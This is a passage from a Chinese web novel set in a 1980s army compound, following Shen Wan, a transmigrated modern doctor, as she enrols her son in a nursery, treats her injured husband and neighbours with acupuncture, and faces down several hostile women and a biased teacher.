熊孩子拼命挣扎，像只被拎住后颈的小猪崽子："放开我，放开我！你这个坏女人，我要让我妈教训你。" 熊孩子这一告状不要紧，屁股上又结结实实挨了沈晚几巴掌，疼得他龇牙咧嘴，挣扎得更厉害了："啊！疼死我了！妈——" 不远处，佟莉娟听到儿子的惨叫，立刻像只炸毛的母鸡一样冲过来，边跑边骂："你这个贱蹄子！敢打俺儿子？看俺不撕烂你的嘴！" 沈晚趁她跑过来的间隙，揪住熊孩子半长不短的头发轻轻一拽："好不好玩？告诉阿姨，好不好玩？" "哇啊——"小男孩捂住脑袋嚎啕大哭，"不好玩！一点都不好玩！" 佟莉娟终于冲到跟前，伸手就要抓沈晚的脸："俺跟你这个小贱人拼了！" 沈晚灵活地侧身避开，同时松开了手里拼命挣扎的男孩。 小男孩因为惯性"扑通"一声趴在了雪地里，立刻开始撒泼打滚："哇啊啊啊——" 佟莉娟心疼死了，连忙扶起儿子，轻轻拍打他身上的雪："耀祖，疼不疼啊？伤到哪了吗？" 申耀祖见有人撑腰，哭嚎得更起劲了：“她打我，这个坏女人打我。” “妈替你报仇，妈去打她。” 申盼弟在旁边小声嘟囔："明明是弟弟刚才揪了那位阿姨的头发..." "啪！" 申盼弟小脸顿时肿起五指印，却硬生生憋着没哭出来。 沈晚实在看不下去了："是我教训的你儿子，你打女儿干什么？" 佟莉娟"腾"地站起身，恶狠狠地瞪着沈晚："你知道孩子他爹是谁吗？他可是部队里的营长，你敢欺负俺儿子，你完蛋了，俺家那口子回来非收拾你不可！" 她唾沫星子乱喷，手指头都快戳到沈晚鼻尖上了。 沈晚不慌不忙地勾唇：“哦？哪个营的营长？叫什么名字？” 佟莉娟得意地扬起下巴："我对象叫申大壮，他可是领导新提拔的，最得首长器重！你个小贱人这么年轻，对象估计最多是个小连长吧？还不赶紧给俺宝贝儿子道歉？" 沈晚冷笑："我要是不道呢？" "那你们就等着被赶出部队吧！" 就在这时，办公室的门"吱呀"一声打开，一个穿着列宁装的中年妇女皱着眉走出来："吵什么呢？这是给你们吵架的地方吗？" 她的目光扫过沈晚，突然一怔，语气缓和了几分："是沈同志吧？来给孩子报名的？" 沈晚微微颔首："对。" 不怪沈晚出名，她这张脸，别人不想记住都难，而且顾营长一大清早都特地来打过招呼了。 佟莉娟还没反应过来后勤处的工作人员为什么对沈晚那么客气，继续叫嚣。 朱晓雯听到佟莉娟的嚷嚷声，脸色难看起来："这位同志，这里是部队，请注意言行。你知道沈同志是谁吗？" 佟莉娟啐了一口："我管她是谁？欺负俺儿子就是不行！" 申耀祖也狐假虎威地嚷嚷："我要让我爸爸把你们赶出去！" 朱晓雯头疼地捏了捏眉心："沈同志可是我们霍沉舟团长的爱人，这是他们儿子。" "团长？！"佟莉娟虽然不懂太多，但团长比营长大的常识还是知道的，嚣张气焰顿时矮了大半截，"咋...咋可能？她男人能是团长？" 朱晓雯无语地翻了个白眼："我还能骗你不成？" 佟莉娟心里有点慌了，在她简单的认知里，官大一级压死人是铁律。她丈夫虽然升职了，但也只是营长，哪敢得罪团长夫人？ 朱晓雯懒得再搭理她，转身对沈晚客气地说："沈同志，我先帮你们办手续。" "好。"沈晚淡淡应道。 佟莉娟咽着唾沫不敢吱声了，申耀祖还想闹腾，被她一把捂住嘴。 "妈，你干啥啊？"小男孩不满地挣扎。 "闭嘴！"佟莉娟压低声音呵斥，"那是团长家的人，你爹就是个营长，咱得罪不起。" 屋内，朱晓雯从铁皮柜里取出一叠表格，用沾了印泥的橡皮章"啪"地盖了个红戳。 "沈同志，麻烦填一下这张《部队子弟入学登记表》。"她递过一支英雄钢笔，又补充道，"孩子父亲那栏写霍团长的职务就行。" 沈晚接过钢笔，在表格上一笔一划填写。 她执笔的姿势端正优雅，笔尖在纸面游走时行云流水，一个个清隽秀丽的楷体字跃然纸上，笔锋转折间自带风骨，一看就是受过良好教育的。 朱晓雯看得愣住了。她听说霍团长娶的是个乡下媳妇，刻板印象认为她不识字，已经做好了代填表格的准备，没想到眼前这位的字迹比宣传科那些大学生还漂亮！ "沈同志，您这字写得真好。"朱晓雯忍不住赞叹，"是在哪儿上的学啊？" 沈晚轻描淡写道："小时候跟外公学过几年。" 填完表格，朱晓雯又拿出个牛皮纸封面的笔记本："这是托儿所的《家长须知》，您抽空看看。每天早晨七点半送，下午四点半接。" 他翻开本子，指着其中一条："特别提醒，每周三下午是政治学习时间，需要家长配合。" 沈晚认真听完后点了点头：“多谢。” 朱晓雯温和地笑了笑："不用谢，你们现在可以去托儿所看看。就在后勤处后面那排红砖平房，走过去五分钟就到。" 沈晚也正打算带霍小川去熟悉一下环境，便再次道谢后牵着霍小川走出了办公室。 佟莉娟母子三人还在办公室门口等着。 沈晚冷眼扫过，佟莉娟不小心和她对视上，立刻心虚地移开视线。 第三十章 送锦旗 沈晚和霍小川来到托儿所，大门是粉刷的天蓝色的木门。 之前孙秀芝提过的刘所长，知道沈晚想提前熟悉一下托儿所的环境，热情地招呼他们进来看。 部队托儿所内部是由两间打通的大教室组成，南面墙上贴着鲜艳的拼音表和"五讲四美"宣传画，北面是一排矮木柜，上面整齐摆放着积木、铁皮小汽车等玩具。 十几个军绿色的小木桌椅围成半圆，二十来个和霍小川差不多年纪的孩子正在院子里玩耍。 沈晚对托儿所的环境颇为满意。毕竟是部队办的，虽然简朴但干净整洁，各项设施也考虑得很周到。 霍小川小脸上也写满了期待。 参观完托儿所，沈晚又带着霍小川去卫生所做了入学体检。等交完每月八块钱的伙食费，母子俩回到家属院时已是傍晚。 刚想回家，一个背着绿色邮包的通讯兵小跑着追上来："同志，您是霍团长的爱人吧？" 沈晚愣了一下，点点头："对，我是。" 小战士从帆布邮包里掏出一封信件："有你们家的信。"他擦了擦汗，"我跑了两趟了，上午来没找着人。" "谢谢同志。"沈晚接过信，看着小战士跑的气喘吁吁的模样，微微一笑，“喝杯热水再走吧，天这么冷，跑一趟不容易。” 小战士哪见过这么漂亮的女同志？沈晚这一笑，眉眼弯弯如新月，唇角漾起两个浅浅的梨涡，明艳得晃眼。 他顿时涨红了脸，手足无措地挠了挠后脑勺："不、不用了嫂子！这都是我应该做的！" 结结巴巴说完，转身就跑了，结果差点在雪地里滑一跤。 沈晚忍俊不禁："小心点！" 这一幕恰好被李丽看在眼里。 她鄙夷地撇了撇嘴，小声嘟囔："果然是个狐狸精，就知道勾引男人。" 她身旁的王浩有样学样，跟着叫："狐狸精。" 李丽顿时眉开眼笑，大手摸着儿子的脑袋："儿子，你以后可不能找这样的媳妇。光脸蛋漂亮有啥用？要会做饭会疼人，那才叫好媳妇！" 王浩似懂非懂地点头："知道了妈！" 沈晚回到家，将信随手放在桌上。 她先生起炉火，等屋内渐渐暖和起来，才脱下厚重的棉袄，顿时觉得浑身轻快了不少。 沈晚倒了杯热水暖手，视线不自觉地落在桌上的信封上。 看地址是从霍沉舟老家寄来的，那估计是他爸妈寄的。 沈晚沉吟片刻，怕老家有什么急事，便把信拆开了。 她粗略地扫了一眼，大致就是问霍沉舟有没有离婚，劝他不要心软，部队有那么多优秀的女同志，再不济，他们也可以帮霍沉舟介绍姑娘。 霍沉舟的父母都是县里的中学老师，在青山县算得上是书香门第。儿子当年被迫娶了原主这样的媳妇，估计成了老两口心里拔不掉的一根刺。 沈晚虽然知道原主在公婆心中的形象，但此刻看着信纸上那些毫不掩饰的嫌弃字眼，心底还是泛起一丝难言的酸涩。 霍小川不认识字，爬到凳子上，小手环住沈晚的胳膊，小脑袋亲昵地靠在她肩上："妈妈，是爷爷奶奶写的信吗？" "对啊。"沈晚扯出个笑容。 "爷爷奶奶说什么呀？"霍小川眨巴着大眼睛，"他们想小川了吗？" 沈晚笑他：“当然想了，晚上想吃什么？妈妈给你做。” 霍小川嘴甜道：“妈妈做什么我都爱吃。” 沈晚心中一暖。 如果不是之前答应霍沉舟让小川留在他身边，沈晚真有种去父留子的冲动。 院子里突然传来喊声："沈同志在吗？" 晚饭时，院子里突然传来喊声："沈同志在吗？" 沈晚不明所以地打开门。 只见一男一女站在院门口，女的正是上次在医院遇见的王桂花。 "有什么事吗？"沈晚微微皱眉，"是孩子又出问题了？" "不不不！"男人连忙摆手，黝黑的脸上堆满感激，"娃好着呢！多亏您救了我家小子！" 王桂花搓着手，脸上带着讨好的笑："沈同志，这是娃他爸。上次在医院...真对不住您！"她声音越来越低，"我本来以为林医生开的药肯定没错，还那样骂您...差点害了我儿子..." 沈晚这才明白他们是来道谢的。但想到王桂花当时那些不堪入耳的辱骂，她心里并没有太多感动，只是淡淡地点了点头："孩子没事就好。" 毛大山从兜里掏出一个皱巴巴的红纸包，想往沈晚手里塞："这是我们的一点心意，您一定得收下！" 沈晚下意识后退一步，摆手拒绝："不用了，孩子没事就好。" "这哪行！"毛大山声音哽咽，"要不是您，我家娃就……那庸医开的药，差点要了我儿子的命啊！" 不管毛大山夫妻如何劝说，沈晚始终坚持不收钱，现在她和霍沉舟还没离婚，如果收了钱，会影响霍沉舟的名声。 毛大山和王桂花对视一眼，无奈地把钱收了回去。 王桂花则从身后拿出一个卷起来的红布，唰地抖开—— "沈同志，钱您不收，这个您一定得收！" 一面鲜红的锦旗展开，上面用金线绣着"妙手回春医德高尚"八个大字。 沈晚嘴角微微一抽。 这场景她太熟悉了，在现代她没少收过患者送的锦旗。没想到了八零年代，这传统倒是丝毫没变。 沈晚哭笑不得，但还是收下了：“锦旗我收下了，天色不早了，你们回去吧。” 然后又是一轮新的夸赞和感谢，毛大山才和王桂花离开。 这动静吸引了大院里其他人家的注意。在这个年代，能收到锦旗，那可是极高的荣誉了。 张德志忍不住咂舌："沈同志可真厉害啊，这才来几天就有人送锦旗了！" 赵晓燕白了他一眼："那当然了！你当时还不信她给我开的药呢！" 张德志揽住妻子的腰，在她耳边低语：“光靠沈同志的药也不行啊，还得咱俩多努力努力。” 赵晓燕笑骂了一句，跟着张德志回了屋。 第三十一章 霍沉舟主动脱衣服 今天要给霍沉舟施针，沈晚一大早就起来了。 她把晾干的草药细细研磨成粉，小心装进玻璃瓶里，又检查了一遍针包，这才往医院赶去。 推开病房门，只见霍沉舟正拄着拐杖在练习走路。 他穿着病号服，每一步都走得极为吃力，鼻尖渗出细密的汗珠。 看见沈晚进来，他抿了抿唇，身子突然一个踉跄。 "小心！"沈晚箭步上前扶住他，男人大半个身子的重量顿时压在她肩上。 扶稳了他，沈晚忍不住嗔怪道："你自己小心一点啊！要是摔倒了怎么办？" 霍沉舟低头看着女人半嗔半怒的关切模样，心头莫名一软。 她蹙起的眉头和微微鼓起的脸颊，竟让他觉得格外生动可爱。 "这么早就来了。"他嗓音低沉。 沈晚一边小心扶他到床边坐下，一边絮絮叨叨："今天没什么事，就早点过来了。对了，小川的入学申请我已经填好了，明天就能去托儿所……" 霍沉舟耐心听着她说话，眼神却不由落在她张张合合的红唇上。 沈晚的唇瓣饱满红润，像沾了晨露的樱桃，随着说话时微微开合，隐约可见里面洁白的贝齿。 霍沉舟看着看着不自觉走神了，脑海里开始想入非非。 "想什么呢？"沈晚不满地在他面前挥了挥手。 "没什么。"霍沉舟掩饰性地咳了一声。 沈晚狐疑地看了他一眼，注意到床尾一团灰蓝色布料，她走近用手指挑起，这才发现是条男士内裤。 霍沉舟耳根又红了："你放那就行，我昨天换下来，忘记洗了。" 沈晚神情不自然地把内裤放到一边："我先去上个厕所，回来给你扎针。" 她快步走进卫生间，关上门后才发现镜中的自己脸蛋已经红了。 沈晚拍了拍发烫的脸颊，小声嘀咕："沈晚啊沈晚，你一个现代人，什么没见过？别跟个没见过世面的小姑娘似的。" 深呼吸几次平复心情后，她推门出来，却又在看清床上的情景时瞪大了眼睛。 “霍沉舟，你干嘛呢？” 只见病床上的男人已经把病号服脱了个精光，就剩一条军绿色的平角裤衩，精壮的上半身和修长的双腿一览无余。 霍沉舟一脸无辜："你不是要扎针？" 沈晚看着男人近乎完美的身材线条，没出息地咽了口唾沫，这才过去几天，这男人怎么跟变了个人似的，半点不知道害臊了？ 她轻吸一口气，强迫自己静下心来。针灸可不是闹着玩的，稍有不慎扎错穴位，轻则不举，重则偏瘫。 与第一次扎针时的拘谨不同，此刻的霍沉舟慵懒地靠在床头，结实的手臂随意枕在脑后，肌肉线条随着动作舒展开来。 他微微挑眉，唇角勾起一抹若有似无的笑意："来吧。" 低沉的嗓音里带着一丝沙哑，不知是不是错觉，沈晚竟听出几分邀请的意味。 沈晚瞪着他："别乱动，这次要扎腹部的穴位。" 霍沉舟闻言，非但没收敛，反而故意绷紧腹肌，八块分明的轮廓在灯光下愈发清晰。 沈晚的视线不受控制地黏在那沟壑分明的线条上，但手上的动作丝毫没停。 银针精准刺入腹部的气海穴，这次的穴位比之前敏感许多，霍沉舟毫无防备地闷哼一声—— "嗯……" 那声音低沉沙哑，尾音微微发颤，像羽毛般轻轻搔过耳膜。 沈晚手一抖，差点扎偏了位置。 她警告道："别发出奇怪的声音！" 霍沉舟勾起唇角："疼还不让叫？" 沈晚懒得理他，接连又下了几针，每扎一针，霍沉舟就故意轻哼一声。 沈晚：“……”骚里骚气。 这样怪异又暧昧的气氛持续了一刻钟，直到病房门突然被推开—— "来晚来晚了！"董建林边擦眼镜上的雾气边急匆匆走进来，"沈同志，还没结束吧？" 霍沉舟躺的板正了许多，脸上那副玩世不恭的表情也收敛得一干二净。 沈晚把这一变化看在眼里，强忍笑意："没来晚董院长，正好我还没起针，您可以再观摩观摩。" 董建林戴上眼镜，凑近仔细观察霍沉舟身上的银针位置："这个穴位是...？" "关元穴，配合气海穴能加速骨骼愈合。"沈晚专业地解答，手指轻捻针尾调整角度。 "妙啊！"董建林连连点头，"这组穴位配伍我在医书上见过，但实操还是第一次看。" 两人聊的不知天地为何物，霍沉舟僵着身子，半晌憋出来一句：“能快点吗？我有点冷。” 董建林连连点头："对对对，不能着凉！沈同志，咱们抓紧起针吧。" 霍沉舟好不容易撑到扎完针，立刻扯过被子把自己裹得严严实实。 董建林呵呵笑了两声："霍团长恢复速度确实很快，估计要不了多久，就能回家静养了。" 回家？ 沈晚手上的动作一顿，突然意识到一个问题——霍沉舟要是出院了住哪儿？总不能跟她睡一张炕上吧？另一个堆放杂物的房间炕还没收拾，看来得抓紧时间清理出来了。 她把银针一根根收好后，又问霍沉舟："那个冻疮膏好用吗？" 霍沉舟伸出手给她看："很有效。" 沈晚点点头，把冻疮膏递给董建林："董院长，这是我做的冻疮膏，比市面上卖的药效强些。" 董建林接过后闻了闻："好浓的草药香！" 沈晚接着说道："杨主任之前答应过我，如果我做的药效好，可以送到医务室试用。" 董建林赞同地点头："行！这样，你再多做出几罐，我先拿给医护人员试用一下。效果好的话，医务室可以找你批量采购。" 沈晚微微一笑："董院长，但是这钱……" "放心！"董建林爽快地一挥手，"部队采购都有正规流程，该多少就是多少，绝不会亏待你。" 霍沉舟在一旁听着，看着沈晚这么快就找到了自力更生的路子，心情有点复杂。 "那就这么说定了。"沈晚眼睛亮晶晶的，"我这几天多做几罐送来。" 董建林临走前又叮嘱："对了，记得把配方写一份给我备案，这是规定。" 第三十二章 治不孕症 等病房门关上，霍沉舟幽幽开口："你很缺钱？" “谁嫌钱多啊？”沈晚心情很好。 霍沉舟一时无言。 沈晚突然想起那封家书，从兜里掏出来递给他："你爸妈寄来的信。" 霍沉舟见信封已经拆开："你看了？说什么了？" 沈晚简要概括：“就是说让你赶紧和我离婚，说可以给你介绍相亲对象。” 霍沉舟的眉心紧了紧：“你怎么想？” 沈晚总不能说自己被嫌弃得心里发堵，只轻描淡写道："之前我把你爸妈气成那样，他们有这种想法很正常。" 霍沉舟沉默颔首。 沈晚看见霍沉舟手上的冻疮，又想到那条待洗的内裤，职业病发作提醒道："你现在的手不能沾凉水，洗内裤得用热水洗。" 霍沉舟没想到沈晚还记着这件事，有点难为情："知道了。" 沈晚出了医院，在机关办公楼旁的林荫道上，看见苏琴杉正和一个陌生男人说笑。 那男人约莫三十出头，穿着笔挺的干部装，胸前别着钢笔，梳着整齐的背头，一副文质彬彬的模样。 苏琴杉仰着脸看他，眼波流转间带着钩子似的媚意，笑容比平时更加甜美动人。 虽然两人并没有什么出格的举动，但沈晚不明白苏琴杉刚来部队，怎么会认识到这种干部。 与此同时，苏琴杉也看见沈晚了。 她有些不自然地撩了撩耳边的碎发，加快脚步走远了。 沈晚总感觉这个苏琴杉不像个安分的，但是现在也没有证据提醒顾战，只能先把怀疑压在心底，准备以后找机会和顾战好好说说。 回到家属院时，远远就看见霍小川蹲在院门口玩石子。 沈晚刚想上前，却听见李丽尖细的嗓音传来：“霍小川，等霍团长给你换个妈妈怎么样？” 霍小川小脸绷得紧紧的，坚决摇头："不要！我只要我妈妈！" 李丽不屑地撇了撇嘴："你傻呀？沈晚之前怎么对你的你忘了？全部队都知道霍团长已经提交离婚审批了，他和沈晚马上就要离婚了！凭霍团长的条件，想找什么样的姑娘找不到？" 霍小川抓起地上的一把雪，用力朝李丽砸去："坏婶子！" 松散的雪团打在李丽的棉袄上，虽然不痛不痒，却让她心中有些恼火，她拍干净身上的雪屑："有娘生没娘教的小兔崽子。" 沈晚再也听不下去，大步上前将霍小川护在怀里："在孩子面前说这些，你觉得合适吗？" 李丽不服气地叉着腰："我哪句话说错了？你这样的乡下女人哪里配得上霍团长？除了有张狐狸精的脸蛋，一看就是不安分的主儿。" 沈晚冷笑一声："那你觉得谁配得上霍沉舟？" 李丽脱口而出："我觉得文工团的蒋雪就挺配霍团长的！人家是正经工农业大学毕业的，父亲还是师部参谋长……" 蒋雪？ 原著里似乎没提过这号人物，看来是这个世界自动补全的配角。 难怪李丽对她敌意这么大，原来是磕霍沉舟和别人的CP。 沈晚默默记下这个名字，抱着霍小川往家走。 晚上，赵晓燕抹着眼泪来找她，沈晚看见吓了一跳：“赵姐，你怎么哭了？” 她扶着赵晓燕进屋坐下，倒了杯热茶塞进她手里。 赵晓燕捧着茶杯，眼泪吧嗒吧嗒往杯子里掉，半天说不出话。 沈晚也不催促，轻轻拍着她的背。 赵晓燕平复心情后，缓缓开口：“我刚才和张德志吵架了。” 沈晚有些意外。 张德志是出了名的疼媳妇，结婚这么多年没孩子也不离不弃，怎么会把赵晓燕气成这样？ "为啥呀？"她柔声问。 赵晓燕抹了把眼泪："今天他妈来信了，说我这么多年生不了孩子，干脆把他哥的小儿子记在我们名下，养在部队。我不同意，张德志觉得这也不失为一个办法。而且那是他亲哥，乡下养孩子困难，不如我们领养一个，也能减轻老家的压力，虽然你给我开了药，但一时半会不也没怀上吗？" 沈晚听明白了："也就是说，只要你怀孕了，你婆婆就不会逼你们领养孩子了吧？" 赵晓燕点点头："按理说是这样...可我这么多年都没怀上，光靠你的药，能尽快怀上吗？" 沈晚握住她冰凉的手："赵姐，你信我吗？" 赵晓燕迟疑了一瞬，随即点头：“我信你妹子。” "只要你按时吃药，再配合针灸，不出一个月，你一定能怀孕。" 赵晓燕眼睛一亮："一个月就能怀上？" "对。"沈晚点头，"但针灸可能会有点疼。" "没事妹子！"赵晓燕激动地握住她的手，"只要能生孩子，再疼我也忍得住！你是不知道，那些长舌妇背地里都骂我是不下蛋的老母鸡，说我占着茅坑不拉屎，连我亲娘都说，再怀不上就让我主动离婚，别耽误老张家传宗接代。" 沈晚拍拍她的手安抚："好，那你现在先去里屋的炕上躺着，我去准备针具。" 赵晓燕在炕上平躺下来，沈晚关紧门窗，从药箱里取出针包，在炕沿一字排开。 "赵姐，把衣服撩起来。" 赵晓燕二话不说照做，露出平坦的腰腹。 沈晚用酒精棉球消毒后，指尖在她小腹几处穴位按了按："这里会有点疼，忍着点。" 银针闪着寒光，精准刺入关元、气海等穴位。 赵晓燕倒吸一口凉气——那感觉就像无数小蚂蚁在肚子里钻，又酸又胀。 "忍忍，这是在疏通经络。"沈晚手下不停。 赵晓燕死死咬着嘴唇，额头上渗出细密的汗珠，愣是没吭一声。 半小时后，沈晚收针，赵晓燕的小腹已经红了一片，像是被火烤过似的发热。 "记住，这三天不能碰凉水，不能同房，上次我给你开的药继续吃。最重要的是保持身心愉悦，别总想着生孩子的事。情绪紧张反而会影响药效。" 赵晓燕连连点头：“小晚妹子，只要我怀孕了，我高低得让他认你当干妈。” 沈晚俏皮地眨了眨眼：“那敢情好，你回家和张大哥好好说，别吵架了。” 第三十三章 第一天上学 次日，沈晚早早起来给霍小川准备早饭。 霍小川也自己乖乖地收拾好书包，把水壶，学习用品放进去，说是书包，其实就是一个小布包。 本来沈晚还说要带他去镇上买个像样的书包，但霍小川坚持说这个书包就很好了。 母子俩对坐着吃早饭，简单的白粥配鸡蛋也吃得津津有味。 "小川，"沈晚叮嘱道，"在托儿所要听老师的话。有什么事就跟老师说，老师解决不了就回来告诉妈妈。" 霍小川小大人似的拍拍胸脯："放心吧妈妈！你在家不要太想我噢。" 沈晚被逗笑了：“人小鬼大。” 她给霍小川裹上厚厚的棉袄，又给他戴上毛线帽和围巾，把小男孩裹得像个圆滚滚的小粽子。 "妈妈，我快喘不过气啦！"霍小川瓮声瓮气地抗议。 沈晚捏了捏他红扑扑的小脸，"等中午暖和了，老师会帮你脱掉外套的。" 来到托儿所，刘所长先带着两人去办公室领生活用品。 一个搪瓷饭盒、一个军绿色小被褥、一条绣着编号的毛巾，还有一个铁皮文具盒，里面装着蜡笔和铅笔。 "这是午睡用的褥子，每周五带回家换洗。"刘所长耐心地解释，又拿起毛巾，"这个挂在小川床头的钩子上，擦手擦脸要分开用。" 领完物品，三人来到教室。 一位二十出头的女老师正在上课。 她穿着白衬衫，外罩一件浅灰色开衫，两条乌黑的麻花辫垂在胸前，眼睛圆圆的，脸蛋也肉肉的。 刘所长压低声音："沈同志，你把小川留在这就放心吧。" 沈晚目前确实没发现什么不妥："小川，进去吧。" 霍小川从后门轻手轻脚地走进去，乖乖坐在一个空位上。 沈晚站在走廊窗边，透过玻璃观察教室里的情况。 坐在霍小川身旁的正是昨天那个申耀祖。小男孩百无聊赖地转着铅笔，一看到霍小川，立刻想起昨天丢脸的场景，报复心起。 他先用铅笔尖偷偷戳了戳霍小川的胳膊，见对方不理睬，又悄悄把小板凳往那边挪了挪，伸出脚踢霍小川的小腿。 霍小川皱起小脸："你离我远一点。" 申耀祖得意地吐舌头："我就不~" 讲台上的黄莹莹注意到动静，用小教鞭指了指这边："那两个同学，不要扰乱课堂纪律。" 霍小川举手道："老师，这个同学用笔戳我，还用脚踢我。" 本以为老师会主持公道，谁知黄莹莹只是轻描淡写地说："他怎么只欺负你，不欺负别人？你是新同学，更应该主动融入集体。" 这番话让申耀祖更加得意，趁老师转身时，变本加厉地踢了踢霍小川的腿。 霍小川听见老师这么说，还以为是自己做错了，小脸顿时垮了下来，低着头不敢再吭声。 窗外的沈晚将这一切尽收眼底，眼神渐渐冷了下来。 同样目睹全程的刘所长尴尬地搓着手："沈同志，实在不好意思，黄老师是新来的，可能还不太懂。" 沈晚冷笑："给我道歉有什么用？" 刘所长立刻会意，快步走到前门敲了敲门。 黄莹莹转头看见所长，脸上堆起笑容："所长，有什么事吗？" "黄老师，"刘所长语气严肃，"请你出来一下。" 黄莹莹还没意识到问题的严重性，笑着说："所长，我们正在上课呢。" 刘所长冲黄莹莹使了个眼色，偏偏对方没领会。 沈晚直接走进教室："刚才申耀祖踢了我儿子三次，你一次都没阻止，还要反过来说是我儿子的错？" 黄莹莹脸上的表情僵了僵，嘴硬道："我刚才在给所有小朋友上课，具体发生了什么我也不清楚。" 沈晚冷笑一声："你不清楚？我和刘所长在窗外看得清清楚楚！" 黄莹莹眼底闪过一丝不耐："那就当我搞错了行了吧？" "当搞错了？"沈晚气笑了，"这就是你为人师表的态度？" 刘所长急得直冒汗——得罪霍团长的家属，她这个所长还怎么当？连忙打圆场："黄老师，你确实误会小川了，给孩子道个歉吧。" 黄莹莹不满道："让我给一个小娃娃道歉？" 沈晚看向刘所长："刘所长，您说这件事该怎么处理？" 刘所长此时对黄莹莹也是烦透了，不就是给小孩子道个歉吗？又不会少块肉，非要在这儿犟！ "黄老师！"刘所长板起脸，"立刻给霍小川同学道歉！不然你就收拾收拾离开托儿所吧。" 见所长动真格的，黄莹莹咬着后槽牙，终于不情不愿地开口：“对不起，这位同学，我刚才不应该那样说你。” 眼看黄莹莹终于低头道歉，刘所长连忙向沈晚保证："沈同志，您放心，小川以后在托儿所绝对不会受委屈。" 沈晚倒不担心黄莹莹敢给小川穿小鞋，毕竟霍沉舟的名头摆在那儿。 她冲刘所长微微一笑，语气缓和下来："那就麻烦刘所长多费心了。" "不费心不费心！"刘所长擦了擦额头的冷汗，"照顾好军属孩子我们应该做的。" 好不容易送走沈晚，黄莹莹咬着下唇，眼眶泛红，一副受了天大委屈的模样。 刘所长把黄莹莹拽进办公室，砰地关上门："黄莹莹！你做错了事为什么不主动道歉？" 黄莹莹撇着嘴，眼眶通红："不就是个团长夫人吗？一看就是靠那张脸蛋勾引的霍团长……" "闭嘴！"刘所长厉声打断，“咱先不说沈晚，小川可是霍团长的亲儿子，他要是受了委屈，霍团长能不管吗？” 黄莹莹被吼得一哆嗦，但还不服软："那...那也不能让我给个五岁孩子道歉啊！多丢人。" "丢人？"刘所长冷笑，"你嫌丢人刚才怎么不主动离职？还不是想继续干。"她从抽屉里抽出一张纸，"写检查！明天当着全所老师的面念！" 黄莹莹眼泪啪嗒啪嗒往下掉："所长……" "再哭就调你去洗厕所！"刘所长甩门而出。 第三十四章 对韭菜过敏 不用照看孩子，沈晚的时间一下子自由了许多。 她惦记着山上那些草药，便径直来到顾战家。 "咚咚咚——" 顾战披着军大衣来开门，见是沈晚，连忙把胳膊套进袖子里："沈同志？有事？"不等她回答，就侧身让路，"外面冷，先进来。" 屋内，苏琴杉正伏在桌前翻阅资料，见沈晚进来，脸上闪过一丝不自然："沈同志。" "我家琴杉想考宣传科，"顾战热情地解释，"这是我给她找的复习资料。" 桌上摊着《宣传工作手册》《党的宣传方针》等材料。 沈晚的目光在苏琴杉身上停留片刻，又想起昨天她和一个干部模样的男人相谈甚欢的场景。 她微微抿唇，直接说明来意："顾营长，我今天想上山，你有空吗？" 顾战爽快地应道："当然有空！我正好要去巡山。"他略一思索，"那咱先去给团长送饭，然后就上山？" "好，麻烦你了。" "不麻烦！" 等沈晚走后，苏琴杉撅起嘴："今天你好不容易休息半天，沈同志怎么又来找你帮忙。" 顾战宠溺地揉了揉她的头发："乖，沈同志上山采药是为了制药，能造福咱们整个部队呢。" 见苏琴杉还是闷闷不乐，他凑近低声道："我听说团长恢复得挺好的，等他出院了，我立马就去打结婚报告。" 以往听到这话，苏琴杉都会开心地催促他快点。 可这次她却眼神飘忽："不急。" 顾战握住她的手，认真道："哪能不急？我都等不及要娶你当媳妇了。" 苏琴杉勉强扯出一丝笑容。 * 顾战和沈晚一起去医院食堂打饭，沈晚突然指着边上的一个窗口："那边有韭菜炒猪肝，很补血，我们打点给霍沉舟吃吧？" 顾战神情顿时有些为难，还没等他开口，身后就传来一声讥讽："沉舟对韭菜过敏你不知道吗？" 林怡宁端着餐盘走过来，眼神轻蔑：“沈晚，你和沉舟结婚这么多年，竟然连他对什么东西过敏都不知道。” 林怡宁此话一出，周围排队打饭的医护人员和家属顿时窃窃私语起来： "天啊，连自己男人对啥过敏都不知道。" "啧啧，这媳妇当得可真够呛。" "听说都要离婚了，估计从来没把霍团长放心上。" 沈晚在记忆中搜寻一番，原主确实不知道霍沉舟对韭菜过敏，看来是压根没在意过这些细节。 顾战见状连忙打圆场："林医生，话不能这么说。团长平时在部队食堂吃饭，从来不提忌口的事，连我也是前段时间才知道他韭菜过敏。" 他转向沈晚，压低声音解释："团长确实吃不得韭菜，一吃就浑身起疹子。不过这事知道的人不多，他从不往外说。" 林怡宁得意地扬起下巴："我和沉舟认识这么长时间，他的饮食习惯我最清楚。" 林怡宁原本等着看沈晚羞愤难当的模样，却见对方非但不恼，反而笑吟吟地问道："林医生看来挺关心病患的嘛？那请问霍沉舟最喜欢吃什么啊？" 林怡宁不假思索："他早餐最爱小米粥配酱黄瓜，还有麻花。" 沈晚转头对顾战说："就打刚才林医生说的那些菜，我亲自送过去。" 看着沈晚从容的笑脸，林怡宁秀气的眉毛紧紧皱起。 她现在怀疑沈晚是故意套她的话，然后打这些饭去沉舟面前讨好他。 顾战在窗口把饭菜打好，拎着饭盒走过来："沈同志，饭打好了。" 沈晚捏着嗓子，故意用甜得发腻的声音说："那我们赶紧去给沉舟送饭吧～可别把他饿到了。"她特意把叫得格外亲昵。 林怡宁看着沈晚挑衅的眼神，那目光明晃晃地在说：就算你知道霍沉舟的喜好又怎样？现在能光明正大给他送饭的还是我！ 她不由气得直跺脚，咬着牙低声道：“贱人！臭婊子！你等着！” 等到了病房门口，顾战突然捂着肚子："沈同志，我、我肚子有点疼，去上个茅厕，你先进去吧。" 沈晚看着他拙劣的演技，忍住没揭穿："嗯。" 推开病房门，沈晚床边的窗户大开着，霍沉舟正靠在窗边，修长的手指间夹着一根燃了一半的香烟。 男人的身影在烟雾中若隐若现，病号服领口随意敞开，露出线条分明的锁骨。他修长的手指夹着烟，烟头明明灭灭的火光映在那张棱角分明的脸上，有种说不出的颓废性感。 沈晚从没见过这样的霍沉舟——褪去了往日的严肃刻板，多了几分随性和不羁。 不得不说，这样的他，更让人移不开眼了。 霍沉舟听见开门声转过头，看见是沈晚，立刻将烟头按灭在窗台上："没忍住。" 沈晚快步走过去，"啪"地关上窗户："想冻死自己不如去雪地里滚一圈。" 霍沉舟听着这明明是关心却说得这么难听的话，似笑非笑地勾起唇角："冻不死。" 他目光落在沈晚手里的饭盒上，眉头微挑："今天吃什么？" 沈晚听到他问，又想起食堂里林怡宁那副嘴脸，把饭盒往床头柜上一放："自己看。" 霍沉舟敏锐地察觉到她的不悦："大早上谁惹你了？这么大脾气。" "你为什么没和我说过你对韭菜过敏？"沈晚直接问道。 